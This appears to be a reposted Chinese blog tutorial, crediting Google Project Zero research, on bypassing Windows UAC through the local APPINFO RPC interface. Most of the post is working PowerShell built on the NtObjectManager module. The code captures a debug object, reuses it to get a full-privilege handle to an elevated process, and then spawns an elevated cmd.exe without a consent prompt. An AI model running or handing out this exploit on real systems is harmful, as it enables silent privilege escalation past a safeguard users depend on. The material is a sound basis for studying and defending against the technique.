通過調用Windows本地RPC服務器bypass UAC


備戰一個月比賽,導致近期都沒啥時間更新博客,正好今天看到一篇通過調用本地RPC服務的文章,覺得非常有意思,就拿來充充博客。

 

在1.0版本的APPINFO.DLL中的RPC服務調用接口ID為:201ef99a-7fa0-444c-9399-19ba84f12a1a

用RAiLaunchAdminProcess函數調用本地RPC

[
    uuid (201ef99a-7fa0-444c-9399-19ba84f12a1a),
    version(1.0),
]
long RAiLaunchAdminProcess(
    handle_t hBinding,
    [in][unique][string] wchar_t* ExecutablePath,
    [in][unique][string] wchar_t* CommandLine,
    [in] long StartFlags,
    [in] long CreateFlags,
    [in][string] wchar_t* CurrentDirectory,
    [in][string] wchar_t* WindowStation,
    [in] struct APP_STARTUP_INFO* StartupInfo,
    [in] unsigned __int3264 hWnd,
    [in] long Timeout,
    [out] struct APP_PROCESS_INFORMATION* ProcessInformation,
    [out] long *ElevationType
);

 

ALPC(高級本地過程調用)調用原理圖:

畫的有點水,大概就是如上圖所示

 

 UAC步驟

1.利用RAiLaunchAdminProcess設置StartFlags標志為0並設置DEBUG_PROCESS來創建一個新的non-elevated進程。這將在服務器中RPC線程的TEB中初始化debug對象字段,並將其分配給新進程。

2.使用帶有返回的進程句柄的NtQueryInformationProcess打開調試對象的句柄。

3.分離調試器並終止不再需要的新進程

4.通過RAiLaunchAdminProcess與StartFlags設置為1來創建一個新的提升進程,設置DEBUG_PROCESS標志 。由於已經初始化了TEB中的debug對象字段,因此將在步驟2中捕獲的現有對象分配給了新進程。

5.檢索初始調試事件,該事件將返回完整的訪問進程句柄。

6.使用新的進程句柄代碼,可以將其注入提升的進程中,從而完成UAC Bypass。

 

首先放上powershell的利用過程:

 首先利用powershell的NtObjectManager模塊,可以通過

Install-Module "NtObjectManager" -Scope CurrentUser

 

安裝NtObjectManager模塊,如果模塊存在可以通過以下命令更新

Update-Module -Name NtObjectManager

 

然后解析APPINFO.DLL提取所有的RPC服務

$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" `
 | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

 

可以通過

Get-RpcServerName $rpc

 

生成一個XML文件

這里用修改后的測試文件

<RpcServerNameData 
   xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
  <InterfaceId>201ef99a-7fa0-444c-9399-19ba84f12a1a</InterfaceId>
  <InterfaceMajorVersion>1</InterfaceMajorVersion>
  <InterfaceMinorVersion>0</InterfaceMinorVersion>
  <Procedures>
    <NdrProcedureNameData>
      <Index>0</Index>
      <Name>RAiLaunchAdminProcess</Name>
      <Parameters>
        <NdrProcedureParameterNameData>
          <Index>10</Index>
          <Name>ProcessInformation</Name>
        </NdrProcedureParameterNameData>
      </Parameters>
    </NdrProcedureNameData>
  </Procedures>
  <Structures>
  <NdrStructureNameData>
      <Index>0</Index>
      <Members/>
      <Name>APP_STARTUP_INFO</Name>
    </NdrStructureNameData>
    <NdrStructureNameData>
      <Index>2</Index>
      <Members>
        <NdrStructureMemberNameData>
          <Index>0</Index>
          <Name>ProcessHandle</Name>
        </NdrStructureMemberNameData>
      </Members>
      <Name>APP_PROCESS_INFORMATION</Name>
    </NdrStructureNameData>
  </Structures>
</RpcServerNameData>
XML

 

將文件保存為names.xml

Get-Content "names.xml" | Set-RpcServerName $rpc

 

可以通過上述命令將xml文件內容應用於$rpc對象

最后創建客戶端新實例,它生成一個C#源代碼,並編譯成臨時程序集

$client = Get-RpcClient $rpc

 

可以通過Format-RpcClient函數查看生成的C#源代碼

將客戶端鏈接到本地RPC服務器的ALPC端口

Connect-RpcClient $client

 

接下來定義一個函數,里面實現了RAiLaunchAdminProcess方法的調用,該函數返回一個NtProcess對象,該對象可用於訪問創建進程的屬性

function Start-Uac {
  Param(
    [Parameter(Mandatory, Position = 0)]
    [string]$Executable,
    [switch]$RunAsAdmin
  )

  $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
        [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
  $StartInfo = $client.New.APP_STARTUP_INFO()

  $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
          [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
          "C:\", "WinSta0\Default", $StartInfo, 0, -1)
  if ($result.retval -ne 0) {
    $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
    throw $ex
  }

  $h = $result.ProcessInformation.ProcessHandle.Value
  Get-NtObjectFromHandle $h -OwnsHandle
}

 

創建一個進程並捕獲debug對象,一旦獲取調試對象,要將調試器與進程分離。

$p = Start-Uac "c:\windows\system32\notepad.exe"
$dbg = Get-NtDebug -Process $p
Stop-NtProcess $p
Remove-NtDebugProcess $dbg -Process $p

 

創建一個提升的進程,發現分配給提升進程的調試對象與剛才創建的調試對象相同。現在,我們在調試對象上發出等待,從中可以提取到特權進程句柄。

但因為初始調試的句柄沒有完全特權,得使用Copy-NtObject從提升的進程中復制當前進程的偽句柄(-1),從而獲取完全特權句柄。

$p = Start-Uac "c:\windows\system32\taskmgr.exe" -RunAsAdmin
$ev = Start-NtDebugWait -Seconds 0 -DebugObject $dbg
$h = [IntPtr]-1
$new_p = Copy-NtObject -SourceProcess $ev.Process -SourceHandle $h
Remove-NtDebugProcess $dbg -Process $new_p

 

此時再以$new_p為父進程生成一個特權權限的cmd進程

New-Win32Process "cmd.exe" -ParentProcess $new_p -CreationFlags NewConsole

 

 

參考鏈接:https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html

C#項目地址:https://github.com/tyranid/WindowsRpcClients


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM